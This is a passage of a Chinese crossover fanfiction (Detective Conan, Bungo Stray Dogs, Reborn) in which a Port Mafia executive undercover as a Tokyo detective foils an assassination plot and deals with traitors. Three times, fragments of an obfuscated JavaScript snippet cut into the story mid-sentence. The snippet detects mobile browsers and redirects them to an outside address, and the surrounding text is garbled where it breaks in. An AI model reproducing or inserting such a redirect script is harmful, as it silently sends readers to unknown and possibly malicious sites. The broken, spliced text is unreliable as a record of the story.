怀疑归怀疑,在确认这个新来的关系户真的有问题前,松田阵平其实也没打算故意针对他。只是松田阵平说话本来就没有拐弯抹角的意思,配上他那张看上去就带了点恶人属性的脸,眼睛一眯,自身就带了吊儿郎当又不好惹的气场。 但是…… 松田阵平眯起眼,看向保持微笑的雾岛光希,怎么看怎么不对劲。 也不能说是笑得丑吧,这家伙笑起来还挺好看的。 【怎么有种“烦死了,笑也好累,这群人不能早点聊完吗”的错觉。这家伙以前在警护课也是这种态度?虽然知道那群人很闲,但也不至于没干劲成这样吧】 雾岛光希懒得笑了。 隔着一米的距离,他侧过脸再次与松田阵平对视,几秒过后冷笑一声,彻底回归面无表情的样子。 发现就发现吧,就算松田阵平真发现他是【雾岛光】能怎样,松田又打不过他。 看到雾岛光希的冷笑,松田阵平:…… 【喂,他自己突然感慨起东京怎么样,怎么反倒成我惹他了】 “松田警官。”察觉到这一幕的江户川柯南问,“你们真的是第一天见面吗,雾岛警官看起来很讨厌你诶。” “谁知道他在想什么。”松田阵平口吻随意,决定先干正事,“正对着演讲台的吊灯不打算换掉吗。这种大型的水晶吊灯至少有20-30kg了吧。” “这个请您放心。”日井会长笑眯眯地说,“在求助警察以前,我还邀请了最近很有名的侦探为现场的安保提供意见。” 江户川柯南:“侦探?” “是啊。”日井会长说,“只不过毛利先生今天有事来不了,所以向我推荐了他的学生。那位年轻的侦探小哥今早在搜集情报向毛利侦探汇报的时候,就跟我提到了这个吊灯的问题。” “因此,那只是用于迷惑凶手的演讲台。等到庆祝典礼正式开始,我会突然从演讲台正对面的吧台后出现,那边的空间比较小,只要左右各安排一名保护人员,凶手行凶成功的概率就会小很多。” “毛利侦探?爸爸吗?”毛利兰愣了下,想起今天早上兴致勃勃地说要去看冲野洋子见面会的毛利小五郎。 “哎呀。”日井会长有点惊讶,“您是毛利侦探的女儿?这么说来,好像是听说过史郎说过,他的女儿和毛利侦探的女儿是好朋友。” 铃木园子得意地肯定:“当然!我和小兰可是最好的朋友!而且小兰可是全国空手道的冠军,很厉害的。” 毛利兰被夸得有些不好意思。 【爸爸他真是的……不过,先生说的爸爸的徒弟,应该就是安室先生了吧?】 安室先生又是谁。 雾岛光希回忆那天在公园里见到毛利小五郎时的场景,并不记得有这号人物。 不过因为比较在意江户川柯南,雾岛光希那天回去后也做了些调查。他在调取和毛利侦探事务所有关的案件资料的时候,久作就爬了上来,说侦探所附近有个咖啡厅的蛋糕据说很好吃。 雾岛光希那时顺手查了会,发现有几起命案都是在咖啡厅发生的。据说有位崇拜毛利小五郎的人,为了拜他为师,特地去了咖啡厅打工。 总之就是个一头热,勤工俭学的热爱侦探这种游戏的家伙吧。 由于接到了部下的电话,那时候的雾岛光希关了电脑,没再查下去。 “柯南?”熟悉的声音响起。 “安室哥哥!”不等江户川柯南回答,少年侦探团的孩子们已经兴奋地和从会场左边的通道里走出来的安室透打了招呼。 雾岛光希:“……” 金发的青年微微弯腰,笑着和步美他们说了几句话,随即抬眼,看向搜查一课的一行人。 “毛利老师让我拍一些照片回去,没想到会在这里见到你们。” 【昨天处理完风见的事后,又收到了朗姆的任务通知,真是完全没有时间休息……】 雾岛光希默默别开眼睛,不知道为什么[以警校第一的成绩毕业]的降谷零会混成毛利小五郎徒弟的同时,完全没有因为自己昨天给了对方部下一手刀的事情感到愧疚。 【不过,只要抓到高桥一,任务就算结束了。虽然不知道他是怎么从组织的研究所里偷到的实验数据,但他估计还投靠了别的人或组织。光靠他一个,是无法支撑这么庞大的制作经费的】 雾岛光希:? 降谷零被派去做卧底的事情,雾岛光希还在公安里的时候就隐隐猜到了。不过他对此不感兴趣,刚才听到朗姆的名字,才知道对方原来是去的那个被称为[乌鸦]的跨国犯罪集团。 他也要抓高桥? 雾岛光希轻轻皱了下眉,也许是在对方身上的视线停留得太久的缘故,安室透转头,总算注意到了站在高木涉旁边的雾岛光希。 【搜查一课最近又来新人了吗】 “你好。”尽管在组织里平等地冷嘲热讽每一个人,但安室透看到作为警察的后辈的时候,依旧保持着良好的友善态度。 雾岛光希点头,非常自然地和对方打了个招呼。 一点也不好。 雾岛光希的视线平淡地扫过在场热火朝天地讨论着每一个会场细节的警察和侦探,不动声色地记下他们讨论的计划,脑中展开一副会场的平面设计图。 也不知道风见裕也那人的嘴够不够严。都怪松田阵平和江户川柯南这两人,要不是他们两个在那里上演速度与激情,他完全可以按planB毁尸灭迹的。 话说回来,都能把车开到货车的车顶上了,松田阵平的驾照怎么还没被吊销。 - 安室透在后面勘察的时候,发现了一枚类似窃听器的物品,之后松田阵平又在旁边的盆栽里发现了埋在土里的枪。这使得现场的氛围一下变得紧张起来,好好的安保工作突然变成了谁是内鬼,只有少年侦探团的小朋友们眼睛亮亮的,兴奋地在那说“少年侦探团!出动!” 雾岛光希根本不想帮警察工作。 他本来打算随便装个样子,摸两下鱼,等松田阵平和安室透把事情解决也就得了,无奈那个被称为“灰原哀”的孩子一直有意无意地盯着他,一点也不像个普通小孩。 “因为门口布置了安检,所以凶手大概是想提前将凶器放入会场,等到时候灯光一暗,就将凶器从盆栽里拿出来,然后对发表贺词的日井会长实行犯罪。”佐藤美和子的面色严肃,向有些愣住的日井会长问道,“这几天负责布置那些盆栽的人是谁?” “是,是我。”旁边穿着白色制服的女人弱弱地开口道,“但我布置的时候绝对没有那样的东西啊!因为那个盆栽两天前就弄好放在那了,所以之后有没有人动过我也不知道。而且在帮忙布置完以后,我就因为工作出差了,今天早上才回的东京。如果我想干这种事,至少也等回来之后再找机会把枪埋进去吧。” “对了对了,这次出差我还碰到了中村先生,他可以给我作证。” 确认完监控回来的高木涉看到这一幕,小声地和佐藤美和子说了句“这个盆栽的位置刚好在监控的摄像范围以外”。 为了保证两天后邀请的宾客的隐私,除了几个关键位置的摄像头和被邀请的记者和摄制组以外,会场内部的监控数量并不是很多。 事实上整个日本的监控数量都不是很大,不然犯罪率也不会居高不下了。 “中村是谁?”松田阵平问了一句。 “这个……”提起中村的名字,女人有些不安地看了眼一旁的日井会长。 “是我的朋友。”日井会长替她说道,“日井集团当初是我们一起创办的,不过在公司稍微有了点起色的时候,中村生了场大病,最近两年才好起来。我有邀请他重新回公司帮忙,但中村拒绝了我,可能是他的身体不允许他再那么劳累吧。” 【中村先生那时候的脸色看起来确实挺差的】 听到日井会长发言的女人想到。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267602|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【不过碰到中村先生的时候,他虽然腿上打了石膏,但手上拎了个黑色的公文包,看上去应该也是去谈生意的,中村先生的病真的有严重到那种程度吗?】 “因为窃听器的关系,原本的计划要重新制定了……” 目暮警官叹了口气,他的手背在身后,突然记起什么似的看向旁边的雾岛光希。 “对了,雾岛,你之前不是警护课的吗,肯定见过很多类似的事吧。” “警护课?” 周围的目光突然全部聚集了过来,吉田步美眨了眨眼睛,很小声地问旁边的同伴。 “警护课是什么课?” “就是专门保护大人物的警察啦。”圆谷光彦点头道,“首相和议员演讲的时候,周围不是经常有一群警察围着的吗,那就是警护课的警官。” “好厉害!”吉田步美的眼睛亮亮的,瞬间燃起了兴趣。 “……”雾岛光希默了几秒。 和吉田步美的兴奋截然相反,江户川柯南反倒皱起了眉头。 【如果雾岛警官真是那个组织的成员,那在警护课反而更能接触到日本政界的大人物吧?突然调来搜查一课有什么好处?】 雾岛光希睨了总算发现不对劲的江户川柯南一眼,心想对方最好按这个思路想下去,这样他就能发现不是每个喜欢穿黑衣服的都和琴酒他们有关系了。 【说起来,雾岛警官从刚才开始似乎就没怎么说话,他难道真的是一直在思考?发现了什么不对劲的地方?】 江户川柯南认真观察起四周。 【如果我是凶手……】 雾岛光希叹了口气。 要找出怀疑的人很简单,事实上由于他十几年前就开始和暗杀这种事打交道,雾岛光希现在甚至都能想出对方到时候要怎么把日井会长一枪爆头。 但告诉警察有什么好处? 如果要接触高桥,当然是趁到时候枪声响起,警方一窝蜂地去查看日井会长的时候最好。 “雾岛警官?”发现雾岛光希叹气的动作,目暮十三有些摸不着头脑。 虽然鹤川提前和他说过,由于在警护课需要经常保持缄默的经历,雾岛警官不太爱说话,但被点到名字的时候也不至于叹气吧? “我建议我们换个地方谈话。” 雾岛光希说。 “如果没有军队的训练经历,雇佣兵是最不可靠的团体。” 雾岛光希不理解,安室透明明也发现了这点,因此一直以和人聊天的模样做掩护,却始终站在日井会长背后的位置的姿势,隔绝开某人的视线,为什么不直接说出来。 难道是担心那人直接拔枪?那抢先一步把人击毙不就好了? 雾岛光希想了想,由于过去了四年,后知后觉地回忆起,似乎不到无法挽回的地步,警方很少会在有普通人在场的情况下直接击毙犯人。 他在警校时期就因为罔顾人质而被那时过于认真的降谷零教训了一顿。降谷零噼里啪啦地,跟竹筒倒豆子一样把什么法律啊警察守则啊全给他倒了出来,雾岛光希之前压根没听过这些,他被说得头晕脑胀,每次刚想说话就被打断,憋了半天一句也憋不出,最后反而变成了震惊的表情。 二十二岁的降谷零顿住,当时狐疑地看了他一会,松田阵平就在旁边嘲笑,说他把人骂傻了。 吧台一侧,穿着日井集团的制服,擦拭着酒杯的男人动作猛地停下。他感到一股难以形容的杀气扼住自己的咽喉,四肢的血液被抽离,几乎是下意识地将手插进了口袋。 雾岛光希的身姿挺拔,他的思绪戛然而止,明明只是稍稍侧过了眼,目光跨越十几米的距离,和猛地转过头来的男人对视时,却平白无故给人种居高临下的压迫意味。 【这个人……】 “日井先生。”在安室透探究的心声中,雾岛光希以一种无可奈何的语气说,“您雇佣的保护者,从刚才起就已经看着这边,把手伸进口袋三次了。” 13. 第 13 章 晚上八点,东京警视厅。 谈话室里的审讯进行的如火如荼,技术部的成果已经进展到了在那个倒霉的名为广田的雇佣兵的账户上找到了一笔不明来源的大额资金,而雾岛光希坐在自己的工位上,紧紧地盯着一个字没写的文档,心里的小人忍不住啧了一声。 “认命吧,雾岛。”旁边的松田阵平挑眉,说着风凉话,“抓人就抓人,谁让你给人过肩摔的同时一脚踩人脸上的,好了吧,现在人家告你侵犯了他的人格尊严权。” 被逮捕的雇佣兵名叫广田信浓,尽管他打死不承认是自己把枪藏在的花盆里,但从他身上搜到了非法枪支是事实,就算他不供认其他罪名,也够拘留他一段时间的。 “您怎么不说是他先动的手。”雾岛光希瞥了松田阵平一眼,冷冰冰地答道,“那家伙自己卡膛了惊慌失措的就算了,还要把枪管往我头上砸。” 松田阵平嗤笑,听出他话里[你就站在旁边,他凭什么不砸你]的言外之意,刚想开口把这话挡回去,余光就捕捉到了在几米远外探头探脑的侦探团成员。 【刚才那招好厉害!忽然三百六十度把人抡在了地上!而且雾岛警官连表情都没变一下!就跟假面超人一样!】 雾岛光希一顿,跟着松田阵平看过去,不知道假面超人是什么东西。 没发现对方在看自己,圆谷光彦遗憾地摇了摇头:【可惜灰原同学因为身体不舒服先被小兰姐姐带回去了,不然也能看到那一幕】 灰原同学是那个茶褐色头发的小姑娘吧。她看上去都快要被他吓死了,你到底在遗憾什么。 “怎么样,佐藤警官。”看到佐藤和目暮警部从谈话室里走出来,高木涉问道。 “不行。”佐藤美和子摇了摇头,“广田说对方在和他联络时用的是假名,那笔钱也是从境外的银行汇进来的。” “就不能让日井推迟那个发表会吗。”松田阵平托着下巴。 “要是那么简单就好了。”佐藤美和子头疼地回道,“日井会长说邀请函都已经发出去了,而且这次发表会对公司的股价很重要,说什么也不肯更改时间。而且到时候为了避免宾客恐慌,他还要求我们不到关键时刻也不能亮出警察的身份,他到底有没有自己要被暗杀的自觉啊!” 【该死该死该死该死】 广田的心声从谈话室里飘出来。 【刚刚那个叫雾岛的眼神绝对是要杀了我!见鬼,一个警察也敢这么得意,等我从这里出去,我要把他打得屁滚尿流!】 雾岛光希心平气和地喝了口咖啡。 “不过。”佐藤美和子叉腰,“柯南,你们怎么还在这里。” “啊哈哈。”江户川柯南装可爱地摸了摸后脑勺,“因为安室哥哥说要把信息同步给毛利叔叔嘛,安室哥哥说带待会一起送我们回去。” “毛利老师说会出席两天后的发表会。”见江户川柯南提到自己的名字,安室透笑眯眯地配合了他的借口。 况且…… 安室透的视线不动声色地挪开,落在背对着自己,只露出小半张侧脸的雾岛光希身上。 【虽然知道只是同姓……但这家伙刚刚竟然选择直接激怒犯人,警护课的人就是这么工作的吗】 随便吧。 雾岛光希又悠闲地喝了口咖啡,他看到手机上自家首领发来的有关[角色扮演的游戏怎么样了]的慰问,平淡地回了句[离暴露不远了]。 [森鸥外]:光希君,你真是一如既往的厉害^_^ 不客气。 雾岛光希按灭手机,加班的怨气在这一刻缓解了不少。 【女朋友?】 注意到雾岛光希突然心情变化的举动,松田阵平的目光落在他放在手边的手机上,结合各方面生活经验,很快得出结论。 噗—— 雾岛光希一口咖啡呛进气管,他做不出把咖啡从嘴里喷出来这种失礼的事,于是只能忍住咳嗽的冲动,硬生生地把这口咖啡咽下去,耳朵都憋红了。 【他害羞什么。果然是女朋友】 把松田阵平套麻袋打一顿已经不符合雾岛光希现在的心理需求。他面无表情,只花了两分钟,就盘算出了个阴暗的杀人灭口,再嫁祸到别人身上的完美计划。 唉,要不是这次的任务和特务科也有点关系,他要真动手了肯定会被特务科发现,雾岛光希连班都不会在这里加。 “总之就先回去休息吧。”同样很头疼的目暮警部说道,“雾岛,你的报告也明天再写。” 雾岛光希“哦”了声,关掉光溜溜的文档。因为一个字没动,所以关闭的时候甚至连“是否保存”的选项都没跳出来。 【这家伙明天也不会写的】 “雾岛警官,你还真是一分钟也不浪费。”发现一眨眼的工夫,雾岛光希就已经收拾好了桌面,松田阵平毒舌地感慨。 【出外勤的时候怎么没有这么积极,多走两步都跟要了他命似的,让他说话就更跟要了他命似的,他这样子真的是从警校毕业的吗】 雾岛光希听到松田阵平的心声,把椅子推进工位的时候,目光非常自然地挪过去。 对视几秒后,雾岛光希勾起唇角,露出了个意外漂亮的笑容:“嗯。” 一直观察着雾岛光希的安室透摸不着头脑,反倒是松田阵平脸上揶揄的神色消失,他默默将罐装咖啡放下,过了一会,烦躁地啧了声,揉乱了他自己的头发。 ……有没有搞错。 察觉到松田阵平这个动作的安室透面无表情,深吸一口气。 都过去了这么多年,松田这家伙竟然还是喜欢同一个类型吗。 - 雾岛光希从出生起就没当过好人。 他从小受到的教育就是如何成为一名优秀的黑手党,以及如何逃避fbi和国际刑警的追捕,在警察眼皮底下割下某个大人物的脑袋,自然不会对干坏事这种行为有丝毫的愧疚。 一想到松田阵平走到停车场,发现挂在树上的轮胎垂直升天,砰地一下变成五颜六色的烟花炸开是什么表情,雾岛光希连脚步都轻快了不少。 【雾岛干部今天好像格外开心】 【雾岛干部上次这么开心的时候,还是把高濑会的基地送上天的时候】 【真可怕啊,异能也好,不苟言笑的性格也好,雾岛干部简直就是天生的黑手党,要是我也能成为像雾岛干部这样的黑手党就好了】 雾岛干部迟疑,稍微放慢了一些脚步,走了两步又停了下来。青年的眉头一蹙,明明脸上的表情没什么变化,视线往两边扫过去的时候,落在别人眼里,就自动变成了幽暗危险的模样。 黑西装们被吓了一跳,瞬间原地立正。 ……他们到底是觉得他可怕好,还是觉得他可怕不好。 琢磨不透自己部下的心思,雾岛光希陷入了迷茫之中。 “听说boss今天又私自出门了?” “是。”站在最前头的黑西装恭敬道,“据说是爱丽丝小姐常买衣服的那家店推出了新款,但护卫队一直在背后偷偷跟着,请您放心。” 怪不得森先生一点也不在乎他的身份有没有暴露,看来森先生自己也玩得挺开心的。 雾岛光希沉思,总觉得森鸥外有种巴不得他暴露的恶趣味。 为什么?森先生想让警察把他抓进去?作为首领,森先生未免也太没有安全感了点。 虽然前脚刚背叛过先代的雾岛光希的确根本不在意谁是首领,单纯就是喜欢留在港口黑手党罢了,如果有个比森鸥外还合适做首领的人出现,雾岛光希也不介意—— 但要是森先生真的想把他扔出去…… 雾岛光希痛心地想到。 那他就只能挟爱丽丝的小洋裙以令森先生了。 尽管是这么想的,但雾岛光希回到港口黑手党的第一件事,并不是去到顶层找森鸥外述职。 港口黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他毫无预兆地抬手,一个手刀干净利落地敲在医生的后颈,把昏迷不醒的人拎到椅子上后,走入后面的实验室,取出了冰箱里的药剂。 之前找出来的叛徒都死的差不多了,就只有一个嘴硬的藤原还半死不活地在那挂着,尽管总觉得被自己殴打了还满脸通红的藤原哪里怪怪的,但不扎白不扎,谁让他不把高濑会剩下基地的地址吐出来的。 雾岛光希这么理所当然地想着,正要转身,却意外听见公关官的声音。 【这个脚步……是雾岛吧】 雾岛光希一愣。 他猛地回头,时隔一年,站在玻璃门外,有些意外地看向床上的青年。 像是为了确认什么似的,雾岛光希打开门,缓慢地走到公关官床边。 【……】 黑色的皮质半掌手套带了点冰冷的触感,雾岛光希面无表情地把公关官的脸往两边扯的同时,稍微侧过脸,看了眼监护仪上的数字。 心率加快了,氧饱和度也有波动。 公关官在心里微笑,很明显是气的:【他到底在干什么,虽然我知道自己现在看起来大概挺糟糕的,但做鬼脸有这么好玩吗,早知道以前他睡着的时候,就应该多让傻瓜鸟在他脸上画几只乌龟】 真有用诶。 雾岛光希眨了眨眼,手上的力道逐渐放松,随即彻底松开。 过了一会,公关官听到他的嗓音。 “公关官。”雾岛光希安慰他道,尾音微微压低,听着很是愉快,“虽然昏迷了这么久,但你还是我见过的人里最好看的。” “。” “……” 感动吧。感动就快点起来帮他上班。 房间内的空气寂静,无法睁开眼睛的青年竭力控制住自己的心情,可连在身上的监护仪还是背叛了他。 标志着心率的数字在极速地上升,各项生命指征波动着,致使监护仪的右上角变成了红色。 几秒过后,雾岛光希听到了公关官轻飘飘地骂他。 【算了】 【就雾岛的审美而言,这好像也不是什么值得高兴的事】 14. 第 14 章 雾岛光希又在检讨。 和之前在警视厅不同的是,这次显然是他逃不过去的检讨。 “光希。”坐在禁闭室的小桌子前,努力学习课本的梦野久作抬头,“你也是因为犯错被关进来的吗。” “……说来话长。”雾岛光希面无表情,显然是懒得解释来龙去脉。 被迫去了一趟首领办公室,森鸥外本来还在谴责雾岛光希把公关官吓到心跳骤停的事,结果在听说对方只是说了句[公关官长得好看]的话后,难得沉默了几秒,又开始谴责他破坏规矩,拿叛徒做实验不太人道的事。 森先生真是优柔寡断,都黑手党了还人不人道,难道被他扎针比被他变成气球爆/炸还要没有道德吗。 “但光希犯错了为什么也是关禁闭。”小朋友趴在桌子上,两条腿晃啊晃,“我还以为光希会被首领扔到地下室去。” 【然后光希去了地下室就会生病,生了病我就可以去照顾光希,然后趁光希睡着天天在光希耳边说太宰的坏话,这样光希就会讨厌太宰,久作大人就完成了对太宰的复仇!】 梦野久作被自己天衣无缝的计划说服了,一双眼睛亮亮的,实际上根本不知道所谓的“光希去了地下室就会生病”也是太宰治糊弄梦野久作的说辞,为的就是等着梦野久作有朝一日中招,这样太宰治就能微笑着再捉弄他一回。 “……”雾岛光希欲言又止,不知道从哪里开始纠正这件事才好。 他们一个十六岁,一个七岁,到底是怎么玩到的一起。 雾岛光希本人倒是想去地下室,至少去地下室受完罚就可以回去休息。然而森鸥外明显更了解什么手段才能让雾岛光希真的反省,于是把去禁闭室里教久作学习的任务交给了他。 雾岛光希沉默,他最终妥协地把梦野久作的试卷从桌上拿起来,粗略地扫了几眼后,总算明白了他为什么能把港口黑手党花高价请来的老师气走。 好简单的分数。 这样简单的分数,他只在沢田纲吉身上见过。 “久作。”雾岛光希抬眼,平淡地开口问道,“你是怎么做到英语考九分,数学考九十九分的。” “我又不需要说英语。”小朋友理直气壮,“再说了,太宰和中也肯定也不会。” “中也的外语很好。”雾岛光希隐约理解了对方[不说就是不会]的思路,“太宰就更不用说了。” 六岁的梦野久作瞳孔地震。 【可恶!太宰说他不会的!他和中也竟然背刺我!】 雾岛光希:…… 中也负责的宝石线大多都是外贸生意,所以久作一直以为中也在和外国人说日语吗。 “我知道了。”小朋友抓起铅笔,奋笔疾书,“光希说的话我会记住的!” 雾岛光希看着他背后燃起的火焰,并不是很想说。 再说了,英语怎么教,雾岛光希以前的家庭教师是坚定的拒绝外语入侵派,前段时间还作为议员提出了“英语令意大利语蒙羞”的概念,要求限制国内英语的使用。 他叹了口气,从试卷下面抽出画满了涂鸦的课本时,想起当年狱寺隼人戴着眼镜,欲言又止地教沢田纲吉英语,结果因为教学成果不佳,一个九十度鞠躬,嚷嚷着“非常抱歉十代目!我这就去切腹自尽!”的画面。 这是什么传统吗。 雾岛光希自娱自乐地给自己讲了个冷笑话。 教Japanese学习怎么也变成黑手党的传承了。 - 从禁闭室出来的雾岛光希疑似失去了所有的力气和手段。 尽管知道自己应该着手调查“高桥一”的情报了,藤原的审讯也还没结束,桌子上更是有一堆文件等着他签字,但雾岛光希躺在沙发上,盯着空无一物的天花板,就是不愿意起来。 办公室的门被敲响了两声,雾岛光希微微侧过脸,视线越过中央的茶几,最后与推开门的尾崎红叶撞上。 “……” 似乎没想到他会在沙发上躺着,尾崎红叶挑了下眉,只是一个眼神,身后的部下就自动退向一边。 “红叶大人,那我们就先告退了。” 也没什么区别嘛。 雾岛光希坐起身,观察着尾崎红叶和她的部下之间的相处模式,发现也就是她们告退的时候脸上笑眯眯的区别。 “看来对你而言,Q比太宰还要难带一点。”尾崎红叶自然地走进,她拢着和服的袖子,红色的长发用金色的簪子随意地拢起。 “……太宰通常不需要我操心。” 雾岛光希说着,目光注意到尾崎红叶袖子上沾染的血迹。 他出门的时候,藤原那家伙越狱了么。 “你看出来了啊。”尾崎红叶轻笑,在他面前坐下,“虽然我们这边也就只有几个轻伤的,但这么一直把他放着也不是解决的办法。” 雾岛光希看了眼时间。 “说到这个。”尾崎红叶勾起唇角,“光希,不觉得有些蹊跷吗,你前脚刚从港口黑手党离开,后脚藤原君就跟预料到了什么似的,试图打伤拷问室的护卫逃跑。” 雾岛光希收回目光,在脑中迅速过了一遍今天拷问室的值班人员:“不可能,我前几天刚刚调查过他们的人际关系。” “妾身不是怀疑他们里有叛徒的意思。”尾崎红叶看着茶几上一动没动的咖啡道,“毕竟拷问室里的监控也没有异常,问题不是出在我们这边。” 雾岛光希眉间的皱痕加深,的确也觉得有些奇怪。他以前和藤原交手的次数不多,但印象里对方一直是个谨慎的人,不至于像这次一样,大张旗鼓地亲自来和他动手。 就跟他故意要被抓到港口黑手党里似的。 为什么? 雾岛光希起身,语气淡漠:“知道了。我去把他叫醒。” “那暂时还做不到哦。” 尾崎红叶轻描淡写地说。 “因为被金色夜叉捅了两剑,失血过多的藤原君现在还在深度昏迷中。鸥外大人本就不希望你直接把他弄死,你是打算再去禁闭室一趟吗。” 雾岛光希:“……” 不是两剑吧,以红叶护短的性格,发现部下被打伤了后,绝对是把人串上剑上了吧。 雾岛光希又坐了回来。 【还有,光希的头发是怎么回事】 尾崎红叶打量着对方肩上的黑色长发。 【本来还只是有种[谁也不要和我讲话]的疏离感,现在看上去压迫感更强了啊】 雾岛光希顺着她的目光看了眼自己的造型。 雾岛光希:“是一次性的,用水就可以洗掉。” 尾崎红叶:“就为了这次的潜伏任务?” 雾岛光希:“……很奇怪吗。” “奇怪倒说不上,妾身只是有些意外。”尾崎红叶道,“妾身还以为,以光希你的性格,易容就已经是极限了,原来还会花时间去染发吗。” 雾岛光希默了几秒,诚实地开口:“本来是打算顺便改善一下形象,但结果看上去不太好。” 尾崎红叶听懂了他的意思:“他们怕不怕你又不光是外在形象决定的。” 【不过还是这样比较好。要是哪天那些人不怕光希了,也不知道会有多少麻烦找上门来】 雾岛光希不理解尾崎红叶所说的麻烦,但他想了想,决定下次模仿红叶,把头发染成红的。 【还以为光希是在彭格列那位叫狱寺的先生那里受了打击才去染发的,说起来,光希的兄长和那位狱寺先生都是银发】 雾岛光希:??? 狱寺隼人能打击他什么,反过来才对吧,他倒知道精准打击狱寺的办法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267604|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 雾岛光希以前被对方惹恼的时候一言不发地去偷了并盛的监控,以一种恶毒地手段把狱寺隼人踹沢田纲吉桌子的视频循环播放,山本在旁边看着,笑着说了句“哈哈,光希,你要毁了狱寺吗”。 “对了,有关高桥的事情。” 尾崎红叶起身,告别之前意味深长地抛下一句。 “光希,该动手就动手,任务归任务,别把自己气死了。” 雾岛光希:……? - 虽然以前是山口组的二当家,但有关高桥一的情报并不是很多。搜集了两天相关的消息,安室透最后也只从和对方走过接触的贝尔摩德那得到了一句[那是个有趣的家伙]。 都是犯罪分子,再有趣能有趣到哪里去。 而且,这个任务一开始明明就是交给贝尔摩德的,只是贝尔摩德在高级酒店里优雅地喝着酒,说高桥那人有什么识别女人的特殊技巧,就算她易容成男性接近对方,他也会第一时间认出她是贝尔摩德,从而导致任务失败。 安室透隐隐有种不好的预感。 他总觉得贝尔摩德在坑他。 “安心吧,波本。”贝尔摩德的声音从耳麦里传出,安室透靠在会场的墙边,看着远处通过安检门的宾客,“高桥那人不至于对你做出特别过分的事,毕竟你也没有完全符合他的喜好。” “那让符合他喜好的人来不就好了?”最近忙得每天只能睡两小时的安室透挑眉。 那gin大概是忍不住的。 贝尔摩德黑心眼地没把这句话说出来。 “这是朗姆的主意,又不是我的。”贝尔摩德推卸责任道,“记得要抓活的,死人可吐不出情报。” 安室透又观察了周围一会,依旧没发现什么可疑人物。 高桥一再怎么样也当了十几年的罪犯,据说他的手段狠辣,手下的部下最长撑不过一个月就会申请调组,之所以脱离山口组自立门户,似乎也是因为惹到了什么不该惹的人,山口组和他商议之下与他撇清了关系。 “贝尔摩德。”安室透微笑,压低嗓音,“别卖关子,既然你见过他,他到底长什么样子。” “这个嘛……”贝尔摩德抿了口红酒,“你见到就知道了。” 在贝尔摩德话音落下的瞬间,安室透在人群里发现了江户川柯南的身影。小侦探还是那套蓝色西装加红色领结的装扮,此时的嘴角却一抽一抽的,仿佛对看到的事感到十分的无语。 安室透自然地走过去。 然而还没等他问出怎么了,安室透就从人群的缝隙里,看到了日井先生旁边令人实在难以忽略的男人。 那男人明明有着一身健壮的肌肉,却穿着红色的紧身长裙,一头金色波浪的假发长到腰的位置,每根手指都戴着镶嵌宝石的戒指。 而此时,这只被饰品装点的五颜六色的手正点在雾岛光希的胸口,时不时娇羞地锤他一下。 松田阵平在旁边憋笑憋得差点背过气去,高木涉欲言又止地,试图阻止却有心无力。 完全不顾被自己折磨的雾岛光希越来越黑的脸色,高桥一再接再厉道:“哎哟,既然是日井会长雇来的安保人员,那保护我们也是你们的职责范围吧~好害怕哦~听说前几天日井会长还收到了杀人预告呢~” 安室透:“……” 江户川柯南:“……” “安室先生。”江户川柯南讪讪地,“雾岛警官看上去要杀人了。” 安室透沉默,他看向难得表情极为丰富的雾岛光希,在对方的额角上捕捉到无数个十字路口。 【作为警察,理论上保护公民的安全是应该的】 “怎么样?” 在雾岛光希闻声瞪过来的同时,贝尔摩德在耳麦那头幸灾乐祸。 “波本,高桥先生很好认吧?” 15. 第 15 章 日井先生举办发表会的会场坐落在接近山顶的地方,从山脚到山顶,以四十公里每小时行驶在盘山公路上的话,全程也需要三十分钟的路程。 尽管受邀前来的客人每一个都顺利地通过了安检,目暮警部却并未因此而松一口气。 原因很简单。 “什么嘛,小哥~不要这么冷漠,你敢说你两眼空空,对我什么想法也没有吗~”见雾岛光希一言不发,高桥摆出一副受伤的表情,话音刚落,又锤了雾岛光希一拳。 见了鬼了,谁会对你有想法。 “对了对了,这是我的名片,我过几天要去美国出差,正好也要找个陪同的保镖~小哥你很合适啊,等日井这边的事结束,我们回房间深入交流交流~?” “那个……”目暮警部满头黑线,腹诽以鹤川警视对雾岛的看重程度,要是知道这件事,一定会发出尖锐的爆鸣,“雾岛他不是……” 雾岛光希的世界观受到冲击,他轻飘飘地扫了还不知道自己死到临头的高桥一眼,深吸一口气,忍住捏着对方的脑袋往墙上砸的冲动。 可恶的降谷零,还敢在那里想什么【理论上】的风凉话,他自己作为公安不【理论上】一下就算了,怎么还后退了两步。 “抱歉。”日井会长同样有些尴尬,“高桥,这几位是我特地请的那边的人,你知道的。” 高桥一试图往雾岛光希口袋里塞名片的手顿住,他的脸色大变,眼睛眯起,将面前的雾岛光希上上下下地扫了一遍,这才心不甘情不愿地将手收了回来。 【什么啊!这小子竟然是警察,枉费我刚才怎么把他骗回去的计划都想好了,浪费感情!】 别看高桥打扮的跟人妖似的,但他实际上是个纯种的1。日井会长和他暗地里有些生意往来,自然知道他的癖好。平时把人连绑带骗的弄回去玩玩也就得了,涉及到警察还是很麻烦的。 “哼。”高桥一双手环胸,非常不屑地转过头去,“真是不领情~一点反应也没有,我才不稀罕。” 